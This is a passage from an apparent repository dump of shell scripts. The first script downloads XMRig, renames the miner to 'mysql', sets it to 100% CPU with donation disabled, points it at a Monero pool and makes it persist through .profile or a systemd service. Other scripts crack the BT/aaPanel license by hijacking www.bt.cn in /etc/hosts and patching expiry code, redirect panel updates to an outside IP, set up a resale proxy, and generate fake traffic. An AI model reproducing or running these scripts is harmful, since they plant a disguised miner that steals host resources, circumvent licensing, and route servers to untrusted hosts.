's/"//g'` 182 | LATEST_XMRIG_LINUX_RELEASE="https://github.com"`curl -s $LATEST_XMRIG_RELEASE | grep xenial-x64.tar.gz\" | cut -d \" -f2` 183 | 184 | echo "[*] Downloading $LATEST_XMRIG_LINUX_RELEASE to /tmp/xmrig.tar.gz" 185 | if ! curl -L --progress-bar $LATEST_XMRIG_LINUX_RELEASE -o /tmp/xmrig.tar.gz; then 186 | echo "ERROR: Can't download $LATEST_XMRIG_LINUX_RELEASE file to /tmp/xmrig.tar.gz" 187 | exit 1 188 | fi 189 | 190 | echo "[*] Unpacking /tmp/xmrig.tar.gz to $HOME/mysql" 191 | if ! tar xf /tmp/xmrig.tar.gz -C $HOME/mysql --strip=1; then 192 | echo "WARNING: Can't unpack /tmp/xmrig.tar.gz to $HOME/mysql directory" 193 | fi 194 | rm /tmp/xmrig.tar.gz 195 | mv $HOME/mysql/xmrig $HOME/mysql/mysql 196 | 197 | echo "[*] Checking if stock version of $HOME/mysql/mysql works fine (and not removed by antivirus software)" 198 | sed -i 's/"donate-level": *[^,]*,/"donate-level": 0,/' $HOME/mysql/config.json 199 | $HOME/mysql/mysql --help >/dev/null 200 | if (test $? -ne 0); then 201 | if [ -f $HOME/mysql/mysql ]; then 202 | echo "ERROR: Stock version of $HOME/mysql/mysql is not functional too" 203 | else 204 | echo "ERROR: Stock version of $HOME/mysql/mysql was removed by antivirus too" 205 | fi 206 | exit 1 207 | fi 208 | fi 209 | 210 | echo "[*] Mysql $HOME/mysql/mysql is OK" 211 | 212 | #PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'` 213 | if [ "$PASS" == "localhost" ]; then 214 | PASS=`ip route get 1 | awk '{print $NF;exit}'` 215 | fi 216 | if [ -z $PASS ]; then 217 | PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'` 218 | fi 219 | 220 | sed -i 's/"url": *"[^"]*",/"url": "gulf.moneroocean.stream:'$PORT'",/' $HOME/mysql/config.json 221 | sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' $HOME/mysql/config.json 222 | sed -i 's/"pass": *"[^"]*",/"pass": "'$PASS'",/' $HOME/mysql/config.json 223 | sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 100,/' $HOME/mysql/config.json 224 | sed -i 's#"log-file": *null,#"log-file": "'$HOME/mysql/mysql.log'",#' $HOME/mysql/config.json 225 | sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $HOME/mysql/config.json 226 | 227 | cp $HOME/mysql/config.json $HOME/mysql/config_background.json 228 | sed -i 's/"background": *false,/"background": true,/' $HOME/mysql/config_background.json 229 | 230 | # preparing script 231 | 232 | echo "[*] Creating $HOME/mysql/miner.sh script" 233 | cat >$HOME/mysql/mysql.sh </dev/null; then 236 | nice $HOME/mysql/mysql \$* 237 | else 238 | echo "Mysql Server is already running in the background. Refusing to run another one." 239 | echo "Run \"killall mysql\" or \"sudo killall mysql\" if you want to remove background mysql first." 240 | fi 241 | EOL 242 | 243 | chmod +x $HOME/mysql/mysql.sh 244 | 245 | # preparing script background work and work under reboot 246 | 247 | if ! sudo -n true 2>/dev/null; then 248 | if ! grep mysql/mysql.sh $HOME/.profile >/dev/null; then 249 | echo "[*] Adding $HOME/mysql/mysql.sh script to $HOME/.profile" 250 | echo "$HOME/mysql/mysql.sh --config=$HOME/mysql/config_background.json >/dev/null 2>&1" >>$HOME/.profile 251 | else 252 | echo "Looks like $HOME/mysql/mysql.sh script is already in the $HOME/.profile" 253 | fi 254 | echo "[*] Running mysql in the background (see logs in $HOME/mysql/mysql.log file)" 255 | /bin/bash $HOME/mysql/mysql.sh --config=$HOME/mysql/config_background.json >/dev/null 2>&1 256 | else 257 | 258 | if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') > 3500000 ]]; then 259 | echo "[*] Enabling huge pages" 260 | echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf 261 | sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc))) 262 | fi 263 | 264 | if ! type systemctl >/dev/null; then 265 | 266 | echo "[*] Running mysql in the background (see logs in $HOME/mysql/mysql.log file)" 267 | /bin/bash $HOME/mysql/miner.sh --config=$HOME/mysql/config_background.json >/dev/null 2>&1 268 | echo "ERROR: This script requires \"systemctl\" systemd utility to work correctly." 269 | echo "Please move to a more modern Linux distribution or setup miner activation after reboot yourself if possible." 270 | 271 | else 272 | 273 | echo "[*] Creating mysql systemd service" 274 | cat >/tmp/mysql.service </dev/null 290 | sudo systemctl daemon-reload 291 | sudo systemctl enable mysql.service 292 | sudo systemctl start mysql.service 293 | echo "To see mysql service logs run \"sudo journalctl -u mysql -f\" command" 294 | fi 295 | fi 296 | 297 | echo "" 298 | echo "NOTE: If you are using shared VPS it is recommended to avoid 100% CPU usage produced by the miner or you will be banned" 299 | if [ "$CPU_THREADS" -lt "4" ]; then 300 | echo "HINT: Please execute these or similair commands under root to limit miner to 75% percent CPU usage:" 301 | echo "sudo apt-get update; sudo apt-get install -y cpulimit" 302 | echo "sudo cpulimit -e mysql -l $((75*$CPU_THREADS)) -b" 303 | if [ "`tail -n1 /etc/rc.local`" != "exit 0" ]; then 304 | echo "sudo sed -i -e '\$acpulimit -e mysql -l $((75*$CPU_THREADS)) -b\\n' /etc/rc.local" 305 | else 306 | echo "sudo sed -i -e '\$i \\cpulimit -e mysql -l $((75*$CPU_THREADS)) -b\\n' /etc/rc.local" 307 | fi 308 | else 309 | echo "HINT: Please execute these commands and reboot your VPS after that to limit mysql to 75% percent CPU usage:" 310 | echo "sed -i 's/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 75,/' \$HOME/mysql/config.json" 311 | echo "sed -i 's/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 75,/' \$HOME/mysql/config_background.json" 312 | fi 313 | echo "" 314 | 315 | echo "[*] Setup complete" 316 | 317 | 318 | 319 | 320 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/newdtrfgyuhjihgujsrtjk.sh: -------------------------------------------------------------------------------- 1 | 2 | Happy_Bt(){ 3 | rm -rf /etc/hosts 4 | cp /etc/hosts.bak /etc/hosts 5 | #chattr -i /etc/hosts 6 | echo "129.213.56.34 www.bt.cn" >> /etc/hosts && chattr +i /etc/hosts 7 | #echo "2600:1f13:98e:6000:fd96:427e:5ac6:bcd3 www.bt.cn" >> /etc/hosts && chattr +i /etc/hosts 8 | #2406:da14:812:e400:5fa0:54d0:190:f6d0 9 | sed -i "s/time.localtime(ltd)/time.localtime(7955085722)/" /www/server/panel/BTPanel/__init__.py 10 | curl -s -o /dev/null www.bt.cn 11 | wget -qO /www/server/panel/data/plugin.json http://www.bt.cn/api/panel/get_soft_list_test 12 | echo "True" > /www/server/panel/data/licenes.pl 13 | echo "True" > /www/server/panel/data/not_recommend.pl 14 | echo "True" > /www/server/panel/data/not_workorder.pl 15 | rm -rf /www/server/panel/data/bind.pl 16 | } 17 | 18 | Is_Set_(){ 19 | read -p "设置面板后台入口(留空或者n随机 默认随机)" admin_path 20 | read -p "设置后台账户(留空或者n随机 默认随机) >3位" admin_ 21 | read -p "设置后台密码(留空或者n随机 默认随机)>5位" admin_pwd 22 | } 23 | 24 | Change_Path(){ 25 | echo "/$1" > /www/server/panel/data/admin_path.pl 26 | } 27 | 28 | Change_Admin(){ 29 | bt << EOF 30 | 6 31 | $1 32 | EOF 33 | } 34 | 35 | Change_Passwd(){ 36 | bt << EOF 37 | 5 38 | $1 39 | EOF 40 | } 41 | ip=`curl -s http://whatismyip.akamai.com/` 42 | apt-get install liblua5.1-0 curl -y 43 | cp /etc/hosts /etc/hosts.bak 44 | #wget http://5.255.98.31:5050/bt/install.sh && bash install.sh 45 | curl -sSO http://download.bt.cn/install/install_panel.sh && bash install_panel.sh 46 | wget https://github.com/caippx/bash/raw/master/drfytgybhunjoimkol/LinuxPanel-7.7.0.zip 47 | unzip LinuxPanel-* 48 | cd panel 49 | bash update.sh 50 | cd .. && rm -f LinuxPanel-*.zip && rm -rf panel 51 | Happy_Bt 52 | #echo "开始安装IP SSL插件" 53 | #mkdir -p /www/server/panel/plugin/encryption365 54 | #wget --no-check-certificate -qO /www/server/panel/plugin/encryption365/encryption365.zip https://od.xsjdd.com/%E8%BD%AF%E4%BB%B6/Linux/bt/Encryption365_BtPanel_v1.3.1.zip && cd /www/server/panel/plugin/encryption365 && unzip encryption365.zip >/dev/null 2>&1 55 | #rm -rf /www/server/panel/plugin/encryption365/encryption365.zip 56 | echo "done" 57 | service cron reload >/dev/null 2>&1 58 | #service crond reload >/dev/null 2>&1 59 | [[ -n $1 ]] && echo "外网面板地址: http://$ip:8888/$1" && Change_Path $1 >/dev/null 2>&1 60 | [[ -n $2 ]] && echo "新用户名: $2" && Change_Admin $2 >/dev/null 2>&1 61 | [[ -n $3 ]] && echo "新密码: $3" && Change_Passwd $3 >/dev/null 2>&1 62 | #echo "打开SSL插件之后手动执行以下命令" 63 | #echo "bash /www/server/panel/plugin/encryption365/install.sh install" 64 | bt restart 65 | iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT 66 | iptables -I INPUT -p udp -m state --state NEW -m udp --dport 443 -j ACCEPT 67 | iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport 3306 -j ACCEPT 68 | iptables -I INPUT -p udp -m state --state NEW -m udp --dport 3306 -j ACCEPT 69 | chattr +i /www/server/panel/logs/request 70 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/newdtrfgyuhjihgujsrtjksssss.sh: -------------------------------------------------------------------------------- 1 | 2 | Happy_Bt(){ 3 | mv /etc/hosts /etc/hosts.bak 4 | echo "44.234.251.213 www.bt.cn" >> /etc/hosts && chattr +i /etc/hosts 5 | #echo "2600:1f13:98e:6000:fd96:427e:5ac6:bcd3 www.bt.cn" >> /etc/hosts && chattr +i /etc/hosts 6 | #2406:da14:812:e400:5fa0:54d0:190:f6d0 7 | sed -i "s/time.localtime(ltd)/time.localtime(7955085722)/" /www/server/panel/BTPanel/__init__.py 8 | curl -s -o /dev/null www.bt.cn 9 | wget -qO /www/server/panel/data/plugin.json http://www.bt.cn/api/panel/get_soft_list_test 10 | echo "True" > /www/server/panel/data/licenes.pl 11 | echo "True" > /www/server/panel/data/not_recommend.pl 12 | echo "True" > /www/server/panel/data/not_workorder.pl 13 | rm -rf /www/server/panel/data/bind.pl 14 | wget -O /www/server/panel/install/public.sh https://raw.githubusercontent.com/caippx/bash/master/drfytgybhunjoimkol/public.sh 15 | wget -O /www/server/panel/data/node.json https://raw.githubusercontent.com/caippx/bash/master/drfytgybhunjoimkol/node.js 16 | wget -O /www/server/panel/config/node.json https://raw.githubusercontent.com/caippx/bash/master/drfytgybhunjoimkol/node.js 17 | chattr +i /www/server/panel/install/public.sh 18 | chattr +i /www/server/panel/data/node.json 19 | chattr +i /www/server/panel/config/node.json 20 | } 21 | 22 | Is_Set_(){ 23 | read -p "设置面板后台入口(留空或者n随机 默认随机)" admin_path 24 | read -p "设置后台账户(留空或者n随机 默认随机) >3位" admin_ 25 | read -p "设置后台密码(留空或者n随机 默认随机)>5位" admin_pwd 26 | } 27 | 28 | Change_Path(){ 29 | echo "/$1" > /www/server/panel/data/admin_path.pl 30 | } 31 | 32 | Change_Admin(){ 33 | bt << EOF 34 | 6 35 | $1 36 | EOF 37 | } 38 | 39 | Change_Passwd(){ 40 | bt << EOF 41 | 5 42 | $1 43 | EOF 44 | } 45 | ip=`curl -s http://whatismyip.akamai.com/` 46 | apt-get install liblua5.1-0 curl -y 47 | cp /etc/hosts /etc/hosts.bak 48 | #wget http://5.255.98.31:5050/bt/install.sh && bash install.sh 49 | curl -sSO http://download.bt.cn/install/install_panel.sh && bash install_panel.sh 50 | wget https://github.com/caippx/bash/raw/master/drfytgybhunjoimkol/LinuxPanel-7.7.0.zip 51 | unzip LinuxPanel-* 52 | cd panel 53 | bash update.sh 54 | cd .. && rm -f LinuxPanel-*.zip && rm -rf panel 55 | Happy_Bt 56 | #echo "开始安装IP SSL插件" 57 | #mkdir -p /www/server/panel/plugin/encryption365 58 | #wget --no-check-certificate -qO /www/server/panel/plugin/encryption365/encryption365.zip https://od.xsjdd.com/%E8%BD%AF%E4%BB%B6/Linux/bt/Encryption365_BtPanel_v1.3.1.zip && cd /www/server/panel/plugin/encryption365 && unzip encryption365.zip >/dev/null 2>&1 59 | #rm -rf /www/server/panel/plugin/encryption365/encryption365.zip 60 | echo "done" 61 | service cron reload >/dev/null 2>&1 62 | #service crond reload >/dev/null 2>&1 63 | [[ -n $1 ]] && echo "外网面板地址: http://$ip:8888/$1" && Change_Path $1 >/dev/null 2>&1 64 | [[ -n $2 ]] && echo "新用户名: $2" && Change_Admin $2 >/dev/null 2>&1 65 | [[ -n $3 ]] && echo "新密码: $3" && Change_Passwd $3 >/dev/null 2>&1 66 | #echo "打开SSL插件之后手动执行以下命令" 67 | #echo "bash /www/server/panel/plugin/encryption365/install.sh install" 68 | bt restart 69 | iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT 70 | iptables -I INPUT -p udp -m state --state NEW -m udp --dport 443 -j ACCEPT 71 | iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport 3306 -j ACCEPT 72 | iptables -I INPUT -p udp -m state --state NEW -m udp --dport 3306 -j ACCEPT 73 | chattr +i /www/server/panel/logs/request 74 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/ngx_http_waf_module.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/drfytgybhunjoimkol/ngx_http_waf_module.so -------------------------------------------------------------------------------- /drfytgybhunjoimkol/node.js: -------------------------------------------------------------------------------- 1 | [{ 2 | "protocol": "http://", 3 | "address": "128.199.88.118", 4 | "port": "80", 5 | "ping": 500 6 | } 7 | ] 8 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/npool/npool_amd64_latest: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/drfytgybhunjoimkol/npool/npool_amd64_latest -------------------------------------------------------------------------------- /drfytgybhunjoimkol/npool/upgrade_auto.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Check if user is root 4 | if [ $(id -u) != "0" ]; then 5 | echo "Error: You must be root to run this script, please use root to install" 6 | exit 1 7 | fi 8 | 9 | # Check arch 10 | get_arch=`arch` 11 | if [[ $get_arch =~ "x86_64" ]];then 12 | arch_type="amd64" 13 | elif [[ $get_arch =~ "aarch64" ]];then 14 | arch_type="arm64" 15 | else 16 | echo "Error: Only supports amd64 and arm64 architecture machines." 17 | exit 1 18 | fi 19 | 20 | # Download && Replace 21 | file_name="npool_${arch_type}_latest" 22 | if test -f "config.json" 23 | then 24 | echo "Start Download......" 25 | rm -rf npool_amd64_latest* 26 | wget -t 5 --quiet "https://github.com/caippx/bash/raw/master/drfytgybhunjoimkol/npool/npool_amd64_latest" && 27 | systemctl stop npool.service && 28 | rm npool && 29 | mv ${file_name} npool && 30 | chmod +x npool && 31 | systemctl start npool.service && 32 | rm $0 && 33 | echo "Upgrade completed." 34 | else 35 | echo "Error: Wrong path." 36 | exit 1 37 | fi 38 | 39 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/p2p.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | wget https://updates.peer2profit.com/p2pclient_0.56_amd64.deb 3 | dpkg -i p2pclient_0.56_amd64.deb 4 | nohup p2pclient --login "admin@ppxwo.com" 2>1 & 5 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/p2p_az.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | wget https://updates.peer2profit.com/p2pclient_0.56_amd64.deb 3 | dpkg -i p2pclient_0.56_amd64.deb 4 | nohup p2pclient --login admin@ppxwo.com -n "10.0.0.4;8.8.8.8" 2>1 & 5 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/proxysell.sh: -------------------------------------------------------------------------------- 1 | if command -v curl >/dev/null 2>&1 && command -v wget >/dev/null 2>&1; then 2 | echo "curl 和 wget 均已安装" 3 | else 4 | apt update -y && apt install curl wget -y 5 | fi 6 | 7 | if curl --connect-timeout 5 -s https://github.com > /dev/null 2>&1; then 8 | echo "能够访问 github.com" 9 | # 如果访问正常,这里使用原始地址 10 | GITHUB_URL="https://github.com" 11 | else 12 | echo "无法访问 github.com,使用代理" 13 | # 如果访问失败,则替换为代理地址 14 | GITHUB_URL="https://ghproxy.11451185.xyz/github.com" 15 | fi 16 | sudo cp /etc/sysctl.conf /etc/sysctl.conf.bk_$(date +%Y%m%d_%H%M%S) && sudo sh -c 'echo "kernel.pid_max = 65535 17 | kernel.panic = 1 18 | kernel.sysrq = 1 19 | kernel.core_pattern = core_%e 20 | kernel.printk = 3 4 1 3 21 | kernel.numa_balancing = 0 22 | kernel.sched_autogroup_enabled = 0 23 | 24 | vm.swappiness = 10 25 | vm.dirty_ratio = 10 26 | vm.dirty_background_ratio = 5 27 | vm.panic_on_oom = 1 28 | vm.overcommit_memory = 1 29 | vm.min_free_kbytes = 153600 30 | 31 | net.core.default_qdisc = cake 32 | net.core.netdev_max_backlog = 2000 33 | net.core.rmem_max = 78643200 34 | net.core.wmem_max = 39321600 35 | net.core.rmem_default = 87380 36 | net.core.wmem_default = 65536 37 | net.core.somaxconn = 500 38 | net.core.optmem_max = 65536 39 | 40 | net.ipv4.tcp_fastopen = 3 41 | net.ipv4.tcp_timestamps = 1 42 | net.ipv4.tcp_tw_reuse = 1 43 | net.ipv4.tcp_fin_timeout = 10 44 | net.ipv4.tcp_slow_start_after_idle = 0 45 | net.ipv4.tcp_max_tw_buckets = 32768 46 | net.ipv4.tcp_sack = 1 47 | net.ipv4.tcp_fack = 0 48 | 49 | net.ipv4.tcp_rmem = 8192 87380 78643200 50 | net.ipv4.tcp_wmem = 8192 65536 39321600 51 | net.ipv4.tcp_mtu_probing = 1 52 | net.ipv4.tcp_congestion_control = bbr 53 | net.ipv4.tcp_notsent_lowat = 4096 54 | net.ipv4.tcp_window_scaling = 1 55 | net.ipv4.tcp_adv_win_scale = 2 56 | net.ipv4.tcp_moderate_rcvbuf = 1 57 | net.ipv4.tcp_no_metrics_save = 0 58 | net.ipv4.tcp_init_cwnd = undefined 59 | 60 | net.ipv4.tcp_max_syn_backlog = 2048 61 | net.ipv4.tcp_max_orphans = 65536 62 | net.ipv4.tcp_synack_retries = 2 63 | net.ipv4.tcp_syn_retries = 3 64 | net.ipv4.tcp_abort_on_overflow = 0 65 | net.ipv4.tcp_stdurg = 0 66 | net.ipv4.tcp_rfc1337 = 0 67 | net.ipv4.tcp_syncookies = 1 68 | 69 | net.ipv4.ip_local_port_range = 1024 65535 70 | net.ipv4.ip_no_pmtu_disc = 0 71 | net.ipv4.route.gc_timeout = 100 72 | net.ipv4.neigh.default.gc_stale_time = 120 73 | net.ipv4.neigh.default.gc_thresh3 = 8192 74 | net.ipv4.neigh.default.gc_thresh2 = 4096 75 | net.ipv4.neigh.default.gc_thresh1 = 1024 76 | 77 | net.ipv4.icmp_echo_ignore_broadcasts = 1 78 | net.ipv4.icmp_ignore_bogus_error_responses = 1 79 | net.ipv4.conf.all.rp_filter = 1 80 | net.ipv4.conf.default.rp_filter = 1 81 | net.ipv4.conf.all.arp_announce = 2 82 | net.ipv4.conf.default.arp_announce = 2 83 | net.ipv4.conf.all.arp_ignore = 1 84 | net.ipv4.conf.default.arp_ignore = 1" > /etc/sysctl.conf' && sudo sysctl -p 85 | # 我自己只用64位系统 就不判断是不是32了 86 | arch=$(uname -m) 87 | # 判断是否为 ARM 架构 88 | if [[ "$arch" == "arm"* || "$arch" == "aarch64" ]]; then 89 | echo "系统为aarch64" 90 | wget ${GITHUB_URL}/go-gost/gost/releases/download/v3.0.0/gost_3.0.0_linux_arm64.tar.gz && tar -zxvf gost_3.0.0_linux_arm64.tar.gz 91 | rm -rf LICENSE README.md README_en.md gost_3.0.0_linux_arm64.tar.gz 92 | mv gost /usr/bin/gost && chmod +x /usr/bin/gost 93 | else 94 | echo "系统为X86_64" 95 | wget ${GITHUB_URL}/go-gost/gost/releases/download/v3.0.0/gost_3.0.0_linux_amd64.tar.gz && tar -zxvf gost_3.0.0_linux_amd64.tar.gz 96 | rm -rf LICENSE README.md README_en.md gost_3.0.0_linux_amd64.tar.gz 97 | mv gost /usr/bin/gost && chmod +x /usr/bin/gost 98 | fi 99 | 100 | user=$1 101 | password=$2 102 | 103 | echo '[Unit] 104 | Description=PPX Proxy Sell 105 | After=network.target 106 | 107 | [Service] 108 | ExecStart=/usr/bin/gost -L="socks5://'$user':'$password'@:11111?udp=true&keepAlive=true&ttl=10s&readBufferSize=51200" -L="http://'$user':'$password'@:22222?udp=true&keepAlive=true&ttl=10s&readBufferSize=51200" 109 | Restart=always 110 | RestartSec=1 111 | User=root 112 | Group=root 113 | StandardOutput=journal 114 | StandardError=journal 115 | 116 | [Install] 117 | WantedBy=multi-user.target' > /etc/systemd/system/proxysell.service 118 | ip=`curl ip.sb -4` 119 | systemctl daemon-reload 120 | systemctl start proxysell.service 121 | systemctl enable proxysell.service 122 | echo "socks5://$user:$password@$ip:11111" 123 | echo "http://$user:$password@$ip:22222" 124 | #systemctl stop luodi.service 125 | #systemctl restart luodi.service 126 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/public.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin 3 | pyenv_bin=/www/server/panel/pyenv/bin 4 | rep_path=${pyenv_bin}:$PATH 5 | if [ -d "$pyenv_bin" ];then 6 | PATH=$rep_path 7 | fi 8 | export PATH 9 | export LANG=en_US.UTF-8 10 | export LANGUAGE=en_US:en 11 | 12 | get_node_url(){ 13 | nodes=(http://128.199.88.118); 14 | tmp_file1=/dev/shm/net_test1.pl 15 | tmp_file2=/dev/shm/net_test2.pl 16 | [ -f "${tmp_file1}" ] && rm -f ${tmp_file1} 17 | [ -f "${tmp_file2}" ] && rm -f ${tmp_file2} 18 | touch $tmp_file1 19 | touch $tmp_file2 20 | for node in ${nodes[@]}; 21 | do 22 | NODE_CHECK=$(curl --connect-timeout 3 -m 3 2>/dev/null -w "%{http_code} %{time_total}" ${node}/net_test|xargs) 23 | RES=$(echo ${NODE_CHECK}|awk '{print $1}') 24 | NODE_STATUS=$(echo ${NODE_CHECK}|awk '{print $2}') 25 | TIME_TOTAL=$(echo ${NODE_CHECK}|awk '{print $3 * 1000 - 500 }'|cut -d '.' -f 1) 26 | if [ "${NODE_STATUS}" == "200" ];then 27 | if [ $TIME_TOTAL -lt 100 ];then 28 | if [ $RES -ge 1500 ];then 29 | echo "$RES $node" >> $tmp_file1 30 | fi 31 | else 32 | if [ $RES -ge 1500 ];then 33 | echo "$TIME_TOTAL $node" >> $tmp_file2 34 | fi 35 | fi 36 | 37 | i=$(($i+1)) 38 | if [ $TIME_TOTAL -lt 100 ];then 39 | if [ $RES -ge 3000 ];then 40 | break; 41 | fi 42 | fi 43 | fi 44 | done 45 | 46 | NODE_URL=$(cat $tmp_file1|sort -r -g -t " " -k 1|head -n 1|awk '{print $2}') 47 | if [ -z "$NODE_URL" ];then 48 | NODE_URL=$(cat $tmp_file2|sort -g -t " " -k 1|head -n 1|awk '{print $2}') 49 | if [ -z "$NODE_URL" ];then 50 | NODE_URL='http://128.199.88.118'; 51 | fi 52 | fi 53 | rm -f $tmp_file1 54 | rm -f $tmp_file2 55 | } 56 | 57 | GetCpuStat(){ 58 | time1=$(cat /proc/stat |grep 'cpu ') 59 | sleep 1 60 | time2=$(cat /proc/stat |grep 'cpu ') 61 | cpuTime1=$(echo ${time1}|awk '{print $2+$3+$4+$5+$6+$7+$8}') 62 | cpuTime2=$(echo ${time2}|awk '{print $2+$3+$4+$5+$6+$7+$8}') 63 | runTime=$((${cpuTime2}-${cpuTime1})) 64 | idelTime1=$(echo ${time1}|awk '{print $5}') 65 | idelTime2=$(echo ${time2}|awk '{print $5}') 66 | idelTime=$((${idelTime2}-${idelTime1})) 67 | useTime=$(((${runTime}-${idelTime})*3)) 68 | [ ${useTime} -gt ${runTime} ] && cpuBusy="true" 69 | if [ "${cpuBusy}" == "true" ]; then 70 | cpuCore=$((${cpuInfo}/2)) 71 | else 72 | cpuCore=$((${cpuInfo}-1)) 73 | fi 74 | } 75 | GetPackManager(){ 76 | if [ -f "/usr/bin/yum" ] && [ -f "/etc/yum.conf" ]; then 77 | PM="yum" 78 | elif [ -f "/usr/bin/apt-get" ] && [ -f "/usr/bin/dpkg" ]; then 79 | PM="apt-get" 80 | fi 81 | } 82 | 83 | bt_check(){ 84 | p_path=/www/server/panel/class/panelPlugin.py 85 | if [ -f $p_path ];then 86 | is_ext=$(cat $p_path|grep btwaf) 87 | if [ "$is_ext" != "" ];then 88 | send_check 89 | fi 90 | fi 91 | 92 | p_path=/www/server/panel/BTPanel/templates/default/index.html 93 | if [ -f $p_path ];then 94 | is_ext=$(cat $p_path|grep fbi) 95 | if [ "$is_ext" != "" ];then 96 | send_check 97 | fi 98 | fi 99 | } 100 | 101 | send_check(){ 102 | chattr -i /etc/init.d/bt 103 | chmod +x /etc/init.d/bt 104 | p_path2=/www/server/panel/class/common.py 105 | p_version=$(cat $p_path2|grep "version = "|awk '{print $3}'|tr -cd [0-9.]) 106 | curl -sS --connect-timeout 3 -m 60 http://www.bt.cn/api/panel/notpro?version=$p_version 107 | NODE_URL="" 108 | exit 0; 109 | } 110 | init_check(){ 111 | CRACK_URL=(oss.yuewux.com); 112 | for url in ${CRACK_URL[@]}; 113 | do 114 | CRACK_INIT=$(cat /etc/init.d/bt |grep ${url}) 115 | if [ "${CRACK_INIT}" ];then 116 | rm -rf /www/server/panel/class/* 117 | chattr +i /www/server/panel/class 118 | chattr -R +i /www/server/panel 119 | chattr +i /www 120 | fi 121 | done 122 | } 123 | GetSysInfo(){ 124 | if [ "${PM}" = "yum" ]; then 125 | SYS_VERSION=$(cat /etc/redhat-release) 126 | elif [ "${PM}" = "apt-get" ]; then 127 | SYS_VERSION=$(cat /etc/issue) 128 | fi 129 | SYS_INFO=$(uname -msr) 130 | SYS_BIT=$(getconf LONG_BIT) 131 | MEM_TOTAL=$(free -m|grep Mem|awk '{print $2}') 132 | CPU_INFO=$(getconf _NPROCESSORS_ONLN) 133 | GCC_VER=$(gcc -v 2>&1|grep "gcc version"|awk '{print $3}') 134 | CMAKE_VER=$(cmake --version|grep version|awk '{print $3}') 135 | 136 | echo -e ${SYS_VERSION} 137 | echo -e Bit:${SYS_BIT} Mem:${MEM_TOTAL}M Core:${CPU_INFO} gcc:${GCC_VER} cmake:${CMAKE_VER} 138 | echo -e ${SYS_INFO} 139 | } 140 | cpuInfo=$(getconf _NPROCESSORS_ONLN) 141 | if [ "${cpuInfo}" -ge "4" ];then 142 | GetCpuStat 143 | else 144 | cpuCore="1" 145 | fi 146 | GetPackManager 147 | 148 | if [ -d "/www/server/phpmyadmin/pma" ];then 149 | rm -rf /www/server/phpmyadmin/pma 150 | EN_CHECK=$(cat /www/server/panel/config/config.json |grep English) 151 | if [ "${EN_CHECK}" ];then 152 | curl http://download.bt.cn/install/update6_en.sh|bash 153 | else 154 | curl http://download.bt.cn/install/update6.sh|bash 155 | fi 156 | echo > /www/server/panel/data/restart.pl 157 | fi 158 | 159 | if [ ! $NODE_URL ];then 160 | EN_CHECK=$(cat /www/server/panel/config/config.json |grep English) 161 | if [ -z "${EN_CHECK}" ];then 162 | echo '正在选择下载节点...'; 163 | else 164 | echo "selecting download node..."; 165 | fi 166 | get_node_url 167 | bt_check 168 | fi 169 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/random_usage.sh: -------------------------------------------------------------------------------- 1 | function download(){ 2 | # 随机生成一个 1G 到 5G 之间的字节数 3 | min=1073741824 # 1G in bytes 4 | max=5368709120 # 5G in bytes 5 | 6 | # 生成随机字节数 7 | random_bytes=$((RANDOM * (max-min+1) / 32768 + min)) 8 | 9 | # 下载文件 10 | url="https://speed.cloudflare.com/__down?bytes=$random_bytes" 11 | echo "Downloading $random_bytes bytes from $url" 12 | curl -o /dev/null $url 13 | } 14 | 15 | function diskio(){ 16 | # 随机生成一个 2G 到 8G 之间的字节数 17 | min=$((2 * 1024 * 1024 * 1024)) # 2G in bytes 18 | max=$((8 * 1024 * 1024 * 1024)) # 8G in bytes 19 | 20 | # 生成随机字节数 21 | random_bytes=$((RANDOM * (max-min+1) / 32768 + min)) 22 | 23 | # 定义临时文件 24 | temp_file="random_data.bin" 25 | 26 | # 写入随机数据 27 | echo "Writing $random_bytes bytes to $temp_file" 28 | dd if=/dev/urandom of=$temp_file bs=1M count=$((random_bytes / 1024 / 1024)) status=progress 29 | 30 | # 读取随机数据 31 | echo "Reading from $temp_file" 32 | dd if=$temp_file of=/dev/null bs=1M status=progress 33 | 34 | # 删除临时文件 35 | rm $temp_file 36 | } 37 | 38 | tasks=( 39 | download # 网络请求 40 | diskio # 硬盘读写 41 | ) 42 | 43 | random_index=$((RANDOM % ${#tasks[@]})) 44 | selected_task=${tasks[$random_index]} 45 | 46 | # 执行选定的任务 47 | echo "Running task: $selected_task" 48 | eval $selected_task 49 | 50 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/schedule_random.sh: -------------------------------------------------------------------------------- 1 | # 生成随机小时和分钟 2 | hour=$((RANDOM % 24)) 3 | minute=$((RANDOM % 60)) 4 | 5 | # 格式化时间为 HH:MM 6 | random_time=$(printf "%02d:%02d" 